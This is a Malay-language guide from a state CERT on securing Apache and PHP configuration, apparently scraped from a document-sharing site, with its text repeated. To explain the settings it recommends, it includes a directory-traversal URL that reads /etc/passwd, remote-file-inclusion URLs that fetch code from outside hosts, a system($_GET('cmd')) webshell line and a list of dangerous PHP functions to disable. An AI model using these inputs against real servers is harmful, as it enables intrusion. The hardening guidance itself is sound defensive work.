garis panduan penetapan konfigurasi …docshare01.docshare.tips/files/25532/255320009.pdf ·...

22
Tatacara Konfigurasi Apache dan PHP Yang Selamat | Dikemaskini oleh Pengurus CERT Pahang | 22.03.2013 GARIS PANDUAN PENETAPAN KONFIGURASI APACHE DAN PHP YANG SELAMAT Apakah Apache Web Server ? Apache adalah pelopor kepada Web Server bagi OS Linux dan Unix. Ianya digunakan sebagai Web Server yang melayan pengguna di internet bagi memperolehi maklumat di Portal atau laman web dengan memberikan respon kepada setiap permintaan pengguna dengan pantas. Ia turut memberikan respon error kepada pengguna jika Laman Web tidak dicapai melalui mesej tertentu. Apache Web Server merupakan perisian sumber terbuka. Apakah PHP ? PHP adalah singkatan kepada Hypertext Preprocessor yang digunakan secara meluas bagi kebanyakan perisian sumber terbuka. PHP digunakan sebagai medium komunikasi antara pengguna dengan pengkalan data melalui paparan yang dibina menggunakan bahasa pengaturcaraan PHP. PHP juga berfungsi sebagai Application Server. Bahasa pengaturcara HTML juga boleh dimasukkan ke dalam PHP. Lokasi Fail Konfigurasi Apache dan PHP di Server WINDOWS – XAMPP & WAMP C:/xampp/apache/conf/httpd.conf – Fail Konfigurasi Utama Apache XAMPP C:/wamp/bin/apache2.2.x/conf/httpd.conf – Fail Konfigurasi Utama Apache WAMP C:/xampp/apache/logs/ - Semua Fail Log Web Server Apache XAMP C:/wamp/logs/ - Semua Fail Log Web Server Apache WAMPP C:/xampp/apache/modules/ – Semua Fail Modules bagi kegunaan Apache disimpan disini XAMPP C:/wamp/bin/apache2.2.x/modules/ – Semua Fail Modules bagi kegunaan Apache disimpan disini WAMP C:/xampp/apache/conf/extra - Semua Fail Konfigurasi Aplikasi seperti php.conf, phpmyadmin.conf, ssl.conf dan lain-lain fail konfigurasi aplikasi yang menggunakan apache sebagai web server XAMPP C:/wamp/bin/apache2.2.x/conf/extra - Semua Fail Konfigurasi Aplikasi seperti php.conf, phpmyadmin.conf, ssl.conf dan lain-lain fail konfigurasi aplikasi yang menggunakan apache sebagai web server WAMP C:/xampp/php/php.ini – Fail Konfigurasi Utama PHP XAMPP C:/wamp/bin/php/php5.2.x/php.ini – Fail Konfigurasi Utama PHP WAMP Apache port asal : TCP 80 muzzotechspot.blogspot.com muka surat | 1

Upload: dangdat

Post on 30-Jan-2018

266 views

Category:

Documents


2 download

TRANSCRIPT

Page 1: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Dikemaskini oleh Pengurus CERT Pahang | 22.03.2013

GARIS PANDUAN PENETAPAN KONFIGURASIAPACHE DAN PHP YANG SELAMAT

Apakah Apache Web Server ?

Apache adalah pelopor kepada Web Server bagi OS Linux dan Unix. Ianya digunakan sebagai WebServer yang melayan pengguna di internet bagi memperolehi maklumat di Portal atau laman webdengan memberikan respon kepada setiap permintaan pengguna dengan pantas. Ia turutmemberikan respon error kepada pengguna jika Laman Web tidak dicapai melalui mesej tertentu.Apache Web Server merupakan perisian sumber terbuka.

Apakah PHP ?

PHP adalah singkatan kepada Hypertext Preprocessor yang digunakan secara meluas bagikebanyakan perisian sumber terbuka. PHP digunakan sebagai medium komunikasi antarapengguna dengan pengkalan data melalui paparan yang dibina menggunakan bahasapengaturcaraan PHP. PHP juga berfungsi sebagai Application Server. Bahasa pengaturcara HTMLjuga boleh dimasukkan ke dalam PHP.

Lokasi Fail Konfigurasi Apache dan PHP di Server WINDOWS – XAMPP & WAMP

➔ C:/xampp/apache/conf/httpd.conf – Fail Konfigurasi Utama Apache XAMPP➔ C:/wamp/bin/apache2.2.x/conf/httpd.conf – Fail Konfigurasi Utama Apache WAMP➔ C:/xampp/apache/logs/ - Semua Fail Log Web Server Apache XAMP➔ C:/wamp/logs/ - Semua Fail Log Web Server Apache WAMPP➔ C:/xampp/apache/modules/ – Semua Fail Modules bagi kegunaan Apache disimpan disini

XAMPP➔ C:/wamp/bin/apache2.2.x/modules/ – Semua Fail Modules bagi kegunaan Apache disimpan

disini WAMP➔ C:/xampp/apache/conf/extra - Semua Fail Konfigurasi Aplikasi seperti php.conf,

phpmyadmin.conf, ssl.conf dan lain-lain fail konfigurasi aplikasi yang menggunakan apachesebagai web server XAMPP

➔ C:/wamp/bin/apache2.2.x/conf/extra - Semua Fail Konfigurasi Aplikasi seperti php.conf,phpmyadmin.conf, ssl.conf dan lain-lain fail konfigurasi aplikasi yang menggunakan apachesebagai web server WAMP

➔ C:/xampp/php/php.ini – Fail Konfigurasi Utama PHP XAMPP➔ C:/wamp/bin/php/php5.2.x/php.ini – Fail Konfigurasi Utama PHP WAMP➔ Apache port asal : TCP 80

muzzotechspot.blogspot.com muka surat | 1

Page 2: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Dikemaskini oleh Pengurus CERT Pahang | 22.03.2013

Lokasi Fail Konfigurasi Apache dan PHP di Server LINUX – LAMPP

➔ /opt/lampp/etc/httpd.conf – Fail Konfigurasi Utama Apache XAMPP➔ /opt/lampp/etc/php.ini – Fail Konfigurasi Utama PHP XAMPP➔ /opt/lampp/htdocs – Fail web root web server➔ /opt/lampp/etc/my.cnf – Fail konfigurasi Utama MySQL➔ Apache port asal : TCP 80

Lokasi Fail Konfigurasi Apache dan PHP di Server LINUX

➔ /etc/httpd/conf/httpd.conf – Fail Konfigurasi Utama Apache➔ /var/log/httpd/ - Semua Fail Log Web Server Apache➔ /usr/lib/httpd/modules/ – Semua Fail Modules bagi kegunaan Apache disimpan disini➔ /var/run/ - Fail PID httpd➔ /etc/httpd/conf.d/ - Semua Fail Konfigurasi Aplikasi seperti php.conf, phpmyadmin.conf,

ssl.conf dan lain-lain fail konfigurasi aplikasi yang menggunakan apache sebagai webserver

➔ /etc/php.ini – Fail Konfigurasi Utama PHP➔ /etc/php.d/ - Semua Fail Konfigurasi Sokongan Aplikasi untuk berfungsi dalam PHP➔ Apache port asal : TCP 80

muzzotechspot.blogspot.com muka surat | 2

Page 3: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Dikemaskini oleh Pengurus CERT Pahang | 22.03.2013

Tatacara Instalasi PHP dan Apache

1. Login menggunakan terminal ke dalam server

2. Laksana command berikut :> yum -y install httpd php

3. Yum akan laksana instalasi perisian httpd dan php serta perisian lain yang berkaitan menyokong kedua-dua aplikasi tersebut.

4. Tunggu sehingga proses instalasi berjaya.

muzzotechspot.blogspot.com muka surat | 3

Page 4: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Dikemaskini oleh Pengurus CERT Pahang | 22.03.2013

Konfigurasi Apache Yang Selamat

1) Halang Directory ListingDirectory adalah menyenaraikan semua fail di dalam server dengan hanya memasukkan urlsehingga direktori tertentu pada web server. Ini akan mendedahkan fail-fail sulit dalamserver kepada umum.Ubah kepada berikut :<Directory "/var/www/html">..Options -Indexes FollowSymLinks..</Directory>

2) Halang Directory TraversalKaedah Directory Traversal :

• Gunakan kelemahan pada coding include untuk baca fail lain• cth : httpd://localhost/itsec/dir.php?file=../../../../etc/passwd• Ia akan dapat view semua user dalam server.• root:x:0:0:root:/root:/bin/bash• column pertama bermaksud nama user, column kedua 'x' bermaksud ada password

ditetapkan, column terakhir bermaksud fungsi user boleh menggunakan bashcommand line

• Sekiranya hackerz tahu sebarang user yang tiada set password dan fungsi usertersebut boleh laksana command line maka ini memberi risiko besar kepada servertersebut.

Ubah kepada berikut :<Directory "/var/www/html">..Options -Indexes -FollowSymLinks..</Directory>

3) Halang Pengunjung kenalpasti identiti Web Server• Kenalpasti versi web server dan OS apa digunakan oleh server tersebut• Ia membantu hackerz kenalpasti kelemahan pada versi tersebut• Bagi xampp by default ia akan setkan sebagai full

ServerTokens Prod[uctOnly]

ServerTokens MajorResult : Server: Apache/2

ServerTokens MinorResult : Server: Apache/2.0

muzzotechspot.blogspot.com muka surat | 4

Page 5: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Dikemaskini oleh Pengurus CERT Pahang | 22.03.2013

ServerTokens Min[imal]Result : Server: Apache/2.0.41

ServerTokens OSResult : Server: Apache/2.0.41 (Unix)

ServerTokens Full (or not specified)Result : Apache/2.0.41 (Unix) PHP/4.2.2 MyMod/1.2

Kaedah ujian :Taip berikut di command line : # Telnet 80Tekan ENTERTaip OPTIONS * HTTP/1.0Tekan ENTER

Keputusannya :HTTP/1.1 200 OKDate: Tue, 19 Oct 2010 02:50:43 GMTServer: Apache/2.2.16 (EL)Content-Length: 0Connection: closeContent-Type: text/plain; charset=UTF-8

Ubah kepada berikut :### Section 1: Global Environment..ServerToken prod

4) Halang web server dari listen kepada port lainTetapkan web server agar hanya akan mendengar kepada spesifik port tertentu sahaja.Pastikan agar tetapkan kepada berikut :Listen 80

5) Enable Module yang digunakan sahajaDisable mana-mana LoadModule yang tidak digunakan dengan menambah # sebelumnama module. Sampel module yang tidak digunakan :#LoadModule authn_anon_module modules/mod_authn_anon.so#LoadModule authn_dbm_module modules/mod_authn_dbm.so#LoadModule ldap_module modules/mod_ldap.so#LoadModule authnz_ldap_module modules/mod_authnz_ldap.so#LoadModule dav_module modules/mod_dav.so#LoadModule dav_fs_module modules/mod_dav_fs.so#LoadModule proxy_module modules/mod_proxy.so#LoadModule proxy_balancer_module modules/mod_proxy_balancer.so#LoadModule proxy_ftp_module modules/mod_proxy_ftp.so#LoadModule proxy_http_module modules/mod_proxy_http.so#LoadModule proxy_ajp_module modules/mod_proxy_ajp.so#LoadModule proxy_connect_module modules/mod_proxy_connect.so

muzzotechspot.blogspot.com muka surat | 5

Page 6: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Dikemaskini oleh Pengurus CERT Pahang | 22.03.2013

Untuk rujukan dan semakan module mana yang perlu dan tidak perlu boleh tengok siteberikut. Ini kerana setiap web server mempunyai fungsi yang berbeza dan keperluanmodule juga berbeza :http://httpd.apache.org/docs/2.0/mod/

6) Halang pencerobohan menerusi TRACE dan TRACKTetapkan fungsi mod_rewrite bagi tujuan menghalang serangan penceroboh menerusipenggunaan TRACE dan TRACK. Pastikan module bagi mod_rewrite enable (tiada #) dalamfail httpd.conf :

LoadModule rewrite_module modules/mod_rewrite.so

Tambah baris berikut di bahagian bawah sekali file httpd.conf (Apache versi 1.x) :

# DISABLE TRACE AND TRACKRewriteEngine onRewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)RewriteRule .* - [F]

Tambah baris berikut di bahagian bawah sekali file httpd.conf (Apache versi 2.x) :

# DISABLE TRACE AND TRACKTraceEnable off

7) Enable Log File Memudahkan Kenalpasti MasalahError Log dan Custom Log / Access Log perlulah ditetapkan untuk memudahkanmembuat kerja auditing pada masa akan datang dan juga kenalpasti sebarang masalahpada aplikasi web server.

Seeloknya laksana enable error log dan custom log pada setiap virtual host yangditetapkan.

Jika ingin tetapkan secara berpusat bagi error log dan custom log, cari perkataan ErrorLogdan CustomLog dalam fail httpd.conf dan buang tanda '#' dihadapannya jika ada untukenablekan ia.

Contoh konfigurasi pada virtual host (XAMPP & WAMP) – Path bertukar mengikutpenetapan folder xampp dan wamp :

<VirtualHost _default_:80> ServerAdmin [email protected] DocumentRoot "C:/xampp/htdocs/sistem" ServerName muzzo.com.my ErrorLog "C:/xampp/apache/logs/sistem_error.log" CustomLog "C:/xampp/apache/logs/sistem_access.log" combined<Directory "C:/xampp/htdocs/sistem">Order deny,allowallow from all</Directory></VirtualHost>

muzzotechspot.blogspot.com muka surat | 6

Page 7: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Dikemaskini oleh Pengurus CERT Pahang | 22.03.2013

Contoh konfigurasi pada virtual host (Linux) :

<VirtualHost _default_:80> ServerAdmin [email protected] DocumentRoot "/var/www/html/sistem" ServerName muzzo.com.my ErrorLog logs/sistem_error.log CustomLog /logs/sistem_access.log combined<Directory "/var/www/html/sistem">Order deny,allowallow from all</Directory></VirtualHost>

8) Hadkan akses kepada folder root web server kepada user dan group tertentuUser dan Group bagi folder di www perlulah di tetapkan dengan user yang mempunyailimited access dan tidak sama group dengan root. Secara default bagi httpd, iamenggunakan user apache dan group apache.

### Section 1: Global Environment..User apacheGroup apache

9) Tutup Paparan Versi OS Web ServerTutup fungsi paparan ServerSignature. Bagi menutup paparan versi web server dan OSdipaparkan kepada umum.Ubah kepada berikut :

CustomLog logs/access_log combined..ServerSignature Off

10)XAMPP : Halang Penggunaan WebDAVBagi yang menggunakan XAMPP atau WAMP (Windows/Linux), tutup fungsi WebDAV.Kebiasaannya httpd.conf telah menutupnya bagi pengguna linux. WebDAV digunakan olehFrontPage untuk upload file server. Jika tidak menggunakannya elok ditutup akseskepadanya.

Laksana ujian menggunakan telnet dan kesan keputusan berikut :Uji : Taip berikut di command prompt (windows XP sahaja) : # Telnet 80

Keputusannya : Terdapat baris penerangan mengandungi perkataan berikut : PUT, COPY, DEL, MKDIR

muzzotechspot.blogspot.com muka surat | 7

Page 8: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Dikemaskini oleh Pengurus CERT Pahang | 22.03.2013

Cara menutup akses kepada WebDAV dalam XAMPP pada fail berikut c:/xampp/apache/conf/extra/httpd-dav.conf :

<directory “C:/xampp/webdav”> Dav Off Order Allow,Deny Deny from all</directory>

11)XAMPP : Halang Capaian Kepada IP Tertentu Sahaja Kepada Folder SensitifKawal akses kepada folder berisiko di server yang menggunakan XAMPP. Fail konfigurasiXAMPP terkini terdapat di c:/xampp/apache/conf/extra/httpd-xampp.conf :

<LocationMatch “^/(?i:(?:xampp|security|licenses|phpmyadmin|webalizer|server-status|server-info))”> Order deny,allow Deny from all Allow from 10.10.10.0/24 ErrorDocument 403 /error/HTTP_XAMPP_FORBIDDEN.html.var</LocationMatch>

* Konfigurasi di atas bertujuan untuk hadkan akses kepada folder xampp, security,licenses, phpmyadmin, webalizer, server-status dan server-info hanya kepada ip10.10.10.0/24 sahaja. Anda boleh ubah mengikut IP yang digunapakai.

12)Enable dan Disable Penggunaan htaccessPenggunaan .htaccess sebenarnya adalah untuk menetapkan konfigurasi bersesuaianmengikut sistem aplikasi yang digunakan. Kebiasaannya dalam CMS, ia akan create failberkenaan bagi tujuan membuat kawalan keselamatan pengguna akses ke Portal masing-masing. Sesetengah Web Hosting Provider tidak menetapkan kawalan default sepertilangkah 1-11 di atas. Mereka membuka semua capaian kepada server secara default. Olehitu, menjadi tanggungjawab setiap agensi sendiri bagi memastikan keperluan kawalankeselamatan akses ke Portal masing-masing.

Admin disarankan seperti garis panduan CERT Pahang agar menetapkan secara defaultbahawa .htaccess tidak boleh digunapakai bagi root folder web server. Caranya adalahdengan memastikan command berikut ditetapkan dalam httpd.conf :

<Directory "/var/www/html">..AllowOverride None ..</Directory>

muzzotechspot.blogspot.com muka surat | 8

Page 9: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Dikemaskini oleh Pengurus CERT Pahang | 22.03.2013

Namun sekiranya ada sistem aplikasi / direktori tertentu yang ingin menggunakannyaDENGAN KAWALAN, maka tambah command berikut pada bahagian penetapan vhost :

<VirtualHost _default_:80> ServerAdmin [email protected] DocumentRoot "/var/www/html/sistem" ServerName muzzo.com.my ErrorLog logs/sistem_error.log CustomLog /logs/sistem_access.log combined<Directory "/var/www/html/sistem">Order deny,allowallow from allAllowOverride Options </Directory></VirtualHost>

13)PILIHAN : Tetapan kaedah yang dibenarkan sahaja digunakan di dalam direktori webperlu dibuat bagi memastikan tiada cubaan menggunakan pelbagai kaedah lain yangberbahaya di Web Server.

Cadangan Penyelesaian :<VirtualHost _default_:80> ServerAdmin [email protected] DocumentRoot "/var/www/html/sistem" ServerName muzzo.com.my ErrorLog logs/sistem_error.log CustomLog /logs/sistem_access.log combined<Directory "/var/www/html/sistem">

Order deny,allowallow from allAllowOverride Options

<LimitExcept GET POST> Order allow,deny </LimitExcept></Directory></VirtualHost>

14)Halang Pencerobohan Melalui Kawalan htaccess pada Setiap Directory (cth :Upload Folder)Jika ingin menghalang shell code / backdoor fail yang digunakan oleh hackerz untukmenggodam laman web kita, boleh gunakan .htaccess atau mod security (paling bagus).

Rujuk Lampiran cth-htaccess-certphg.pdf bagi membina fail .htaccess untuk disimpan didalam directory berkenaan.

* Command di dalam fail tersebut dari sumber mod security OWASP.

muzzotechspot.blogspot.com muka surat | 9

Page 10: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Dikemaskini oleh Pengurus CERT Pahang | 22.03.2013

15)PILIHAN : Enable Mod Status Bagi Pantau Status Web ServerPeringatan : kaedah ini boleh menyebabkan resource sedikit tinggi kepada serverberkenaan. Ini kerana status akan sentiasa di query dari Apache server tersebut sepanjangmasa.

Caranya adalah dengan enable fungsi tersebut melalui /etc/httpd/conf/httpd.conf(buangkan tanda #) :ExtendedStatus On

DAN tambahkan line berikut di hujung fail :# Mod Status Server<Location /server-status> SetHandler server-status Order deny,allow Deny from all Allow from 10.x.x.x</Location>

16)PILIHAN : Enable ModPagespeed Bagi Kenalpasti Kepantasan Pengunjung AksesFail di Web ServerLaksana command berikut pada terminal bagi memuat turun fail installer :

[32 bits OS]# wget https://dl-ssl.google.com/dl/linux/direct/mod-pagespeed-stable_current_i386.rpm [64 bits OS]# rpm -i https://dl-ssl.google.com/dl/linux/direct/mod-pagespeed-beta_current_x86_64.rpm

Kemudian buat instalasi :# yum install at# rpm -U mod-pagespeed-*.rpm

Kemaskini fail conf page speed di /etc/httpd/conf.d/pagespeed.conf :<Location /mod_pagespeed_statistics>

Allow from localhost Allow from 127.0.0.1 Allow from 10.x.x.x SetHandler mod_pagespeed_statistics

</Location><Location /mod_pagespeed_message>

Allow from localhostAllow from 127.0.0.1

Allow from 10.x.x.x SetHandler mod_pagespeed_message

</Location><Location /mod_pagespeed_referer_statistics>

Allow from localhost Allow from 127.0.0.1 Allow from 10.x.x.x SetHandler mod_pagespeed_referer_statistics

</Location>

muzzotechspot.blogspot.com muka surat | 10

Page 11: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Dikemaskini oleh Pengurus CERT Pahang | 22.03.2013

Konfigurasi PHP Yang Selamat

1) Buka fail php.ini# nano /etc/php.ini (Linux)C:/xampp/php/php.ini (XAMPP)C:/wamp/bin/php/php5.2.x/php.ini WAMP

2) Halang dari PHP Remote File InclusionIa mampu guna kelemahan php include / require untuk panggil fail backdor dari websiteluar atau redirect pengguna kepada malware (Malicious Software)

Contoh :

include($base_path . "/foo.php");

Kaedah query :

http://vulnerable.com/RFI.php?base_path=http://example.com/badcode?foo=

Contoh : (use register global)

include($_REQUEST['own_me'] . '/foo.php');

Kaedah Query :

http://lwn.net/Articles//master.php?root_path=http://webstorch.com/cap.txt?

Penyelesaian :;;;;;;;;;;;;;;;;;;; Fopen wrappers ;;;;;;;;;;;;;;;;;;;..allow_url_fopen = Off.allow_url_include = Off

3) Tetapkan Penggunaan Safe ModeSafe Mode berfungsi untuk larikan program luar dan papar hasilnya dalam sistem web diweb server. Ianya hanya terpakai bagi PHP versi <= 5.3. *PHP 5.4 ke atas tidak lagimenggunakan fungsi ini.

Contoh :system($_GET('cmd')

muzzotechspot.blogspot.com muka surat | 11

Page 12: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Dikemaskini oleh Pengurus CERT Pahang | 22.03.2013

Penyelesaian :allow_call_time_pass_reference = Off.Safe_mode = onPERHATIAN :* Laman Web menggunakan CMS Joomla, konfigurasi ini akan hadapi masalah (diuji padaversi 1.6.x dan 2.5.x). Namun ia sebenarnya turut bergantung kepada component danplugin yang digunapakai dalam Joomla tersebut. Terdapat component banner dalam joomlayang hilang paparan apabila safe_mode digunakan.

>> http://docs.joomla.org/Why_shouldn't_you_use_PHP_safe_mode%3F

* Selain itu, sekiranya masih menggunakan bahasa pengaturcara 'mysql_connect' untuksambungan ke pengkalan data mysql dan pada template tertentu pelaksanaan commandini akan menganggu. Penyelesaiannya adalah menggunakan 'mysqli'.

* Penggunaan perisian MailWatch untuk pantau emel spam berkemungkinan hadapimasalah apabila on kan fungsi ni juga.

4) PILIHAN : Halang File UploadFile Upload digunakan dalam kebanyakan sistem. Namun ada sebahagiannya tidakdigunakan langsung tapi ditetapkan sebagai On.

Penyelesaian :;;;;;;;;;;;;;;;;; File Uploads ;;;;;;;;;;;;;;;;;..file_uploads = OffTips Keselamatan ICT : * Modul fck_editor dalam joomla yang menggunakan file uploadmempunyai kelemahan dan alternatif bagi module tersebut adalah ck_editor.

5) Standardkan Penggunaan Open TagShort Open Tag adalah fungsi dalam php bagi membenarkan penggunaan tag '<' bagipembuka pengaturcaraan PHP.Contoh :<? echo 'hello'; ?>

Full Tag dan akan digunakan sepenuhnya dalam PHP versi 6 :<?php echo 'hello'; ?>

Penyelesaian :;;;;;;;;;;;;;;;;;;;;; Language Options ;;;;;;;;;;;;;;;;;;;;;..short_open_tag = OffTips Keselamatan ICT : * Penggunaan perisian MailWatch untuk monitoring emel spamberkemungkinan hadapi masalah apabila on kan fungsi ni.

muzzotechspot.blogspot.com muka surat | 12

Page 13: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Dikemaskini oleh Pengurus CERT Pahang | 22.03.2013

6) Tetapan Paparan Error DitutupError Reporting diperlukan oleh pembangun sistem bagi kenalpasti masalah dalam sistemyang dibangunkan. Paparan error boleh mendedahkan versi PHP dan jenis pengkalan datayang digunakan. Ia memudahkan hackerz untuk kenalpasti kelemahan pada versi OS, PHP,Web Server dan Pengkalan Data yang digunakan.

Penyelesaian : ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Error handling and logging ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;..display_errors = Off

7) Tutup kewujudan PHP dalam server.Fungsinya bagi mengelakkan hackerz kenalpasti jenis PHP yang digunakan server danseterusnya melancarkan serangan berdasarkan kelemahan versi tersebut. Kaedah inimenutup maklumat bahawa web server menggunakan PHP.

Penyelesaian :;;;;;;;;;;;;;;;;;; Miscellaneous ;;;;;;;;;;;;;;;;;;..expose_php = Off

8) Tutup Penggunaan Magic Quotesmagic_quotes_gpc berfungsi untuk menggantikan sebarang kemasukan data (') kepada('\'). Sistem yang menggunakan magic quotes dan di letak di server yang ditetapkan off,maka sistem akan jadi terdedah kepada serangan penceroboh. Bagi PHP versi 6, ianyatidak digunakan lagi

Penyelesaian :post_max_size = 8M..magic_quotes_gpc = Off

9) Halang Penggunaan global valueTutup penggunaan pendaftaran value secara global kerana ia boleh menyebabkan masalahkeselamatan sekiranya tidak dilaksanakan sebaiknya.

Penyelesaian :request_order = "GP"..register_globals = Off

muzzotechspot.blogspot.com muka surat | 13

Page 14: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Dikemaskini oleh Pengurus CERT Pahang | 22.03.2013

10)PILIHAN : Tetapkan Fungsi Web Server kepada Directory Berkenaan sahaja (Sesuai bagi Web Server 1 Host sahaja)Ianya digunakan bagi mengawal lokasi yang dibenarkan bagi melaksanakan skrip sepertifopen() kepada direktori tertentu sahaja.

Penyelesaian :safe_mode_protected_env_vars = LD_LIBRARY_PATH..open_basedir = /var/www/htdocs/sistem

11)PILIHAN : Tetapkan fungsi safe mode dengan semakan group Ia digunakan bagi menukar semakan pengesahan fail menggunakan User Identity(UID) kepada Group Identity (GID)

Penyelesaian :safe_mode = On..safe_mode_gid = On

12)PILIHAN : Tetapan larikan prgram di dalam direktori tertentu sahaja (Safe Modekena On)Tetapkan jika nak guna safe mode, directory mana yang boleh execute.

Penyelesaian :safe_mode_include_dir =..safe_mode_exec_dir = /var/www/binaries

13)PILIHAN : Tetapkan format Environment VariablesIanya menetapkan hanya format Environment Variables tertentu sahaja dibenarkan.

Penyelesaian : safe_mode_exec_dir =..safe_mode_allowed_env_vars = PHP_

14)PILIHAN : Elakkan DoS. Penetapan masa sesuai untuk fail laksana coding. Jika tetapkanterlalu lamabakal menganggu prestasi server dan juga membolehkan hackerzmenggunakannya untuk laksana script seperti brute force attack bagi mendapatkan katalaluan admin.

Cadangan Penyelesaian :;;;;;;;;;;;;;;;;;;;; Resource Limits ;;;;;;;;;;;;;;;;;;;;.max_execution_time = 30

muzzotechspot.blogspot.com muka surat | 14

Page 15: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Dikemaskini oleh Pengurus CERT Pahang | 22.03.2013

15)PILIHAN : Elakkan DoS. Masa maksimum bagi operasi input data di server PHP perlulahditetapkan mengikut kesesuaian.

Cadangan Penyelesaian :;;;;;;;;;;;;;;;;;;;; Resource Limits ;;;;;;;;;;;;;;;;;;;;..max_input_time = 60

16)PILIHAN : Elakkan DoS. Saiz maksimum bagi penggunaan sumber memori bagi satu failmenjalankan coding perlulah ditetapkan mengikut kesesuaian.

Cadangan Penyelesaian :;;;;;;;;;;;;;;;;;;;; Resource Limits ;;;;;;;;;;;;;;;;;;;;..memory_limit = 16M

17)PILIHAN : Saiz maksimum dibenarkan fail di muat naik ke server. Sila tetapkan mengikutpolisi saiz upload dibenarkan di agensi anda.

Cadangan Penyelesaian :;;;;;;;;;;;;;;;;; File Uploads ;;;;;;;;;;;;;;;;;.upload_max_filesize = 2M

18)PILIHAN : Saiz maksimum sumber memory digunakan untuk laksana POST DATA padaFORM. Sila tetapkan mengikut polisi dibenarkan agensi anda. Untuk membolehkan uploadsaiz file yang besar, value ini perlulah ditetapkan lebih besar dari saizupload_max_filesize.

Cadangan Penyelesaian :auto_globals_jit = On.post_max_size = 8M

19)PILIHAN : Logkan error pada sistem PHP walaupun telah ditetapkan error log tidakdipaparkan di muka . Gunakan jika untuk tujuan kenalpasti masalah sahaja.

Cadangan Penyelesaian :display_startup_errors = Off..log_errors = On

muzzotechspot.blogspot.com muka surat | 15

Page 16: GARIS PANDUAN PENETAPAN KONFIGURASI …docshare01.docshare.tips/files/25532/255320009.pdf · muzzotechspot.blogspot.com muka ... membuat kerja auditing pada masa akan datang dan juga

Tatacara Konfigurasi Apache dan PHP Yang Selamat | Dikemaskini oleh Pengurus CERT Pahang | 22.03.2013

20)PILIHAN : Tutup function dalam coding yang membolehkan laksana command tertentu.Kebiasaannya fail backdoor hackerz menggunakan command tersebut. Jika sistemmenggunakannya, maka buatlah penapisan sebaiknya.

Cadangan Penyelesaian :open_basedir =..disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

21)PILIHAN : mysql_connect() dan mysql_pconnect() tidak akan berfungsi apabiladigunakan. Perubahan pada code php diperlukan. Aplikasi pihak ketiga seperti WordPressdan selainnya mungkin tidak berfungsi apabila ia diaktifkan.

Cadangan Penyelesaian :[SQL].sql.safe_mode = On

22)PILIHAN : Laksana instalasi suhosin bagi mengawal fungsi di dalam PHP yang mempunyaikelemahan dari digunapakai oleh hackers. Pihak CERT Pahang sedang dalam pengujian bagipenggunaan suhosin ini dan setelah berjaya, pihak CERT Pahang akan kongsikan. Sila rujukURL berikut untuk maklumat lanjut :http://www.hardened-php.net/

23)PILIHAN : Laksana instalasi PHPIDS bagi mengenalpasti aktiviti cubaan pencerobohankepada web server. Ianya adalah Web Applicatrion Firewall (WAF). Pihak CERT Pahangsedang dalam pengujian bagi penggunaan suhosin ini dan setelah berjaya, pihak CERTPahang akan kongsikan. Sila rujuk URL berikut untuk maklumat lanjut :https://phpids.org/

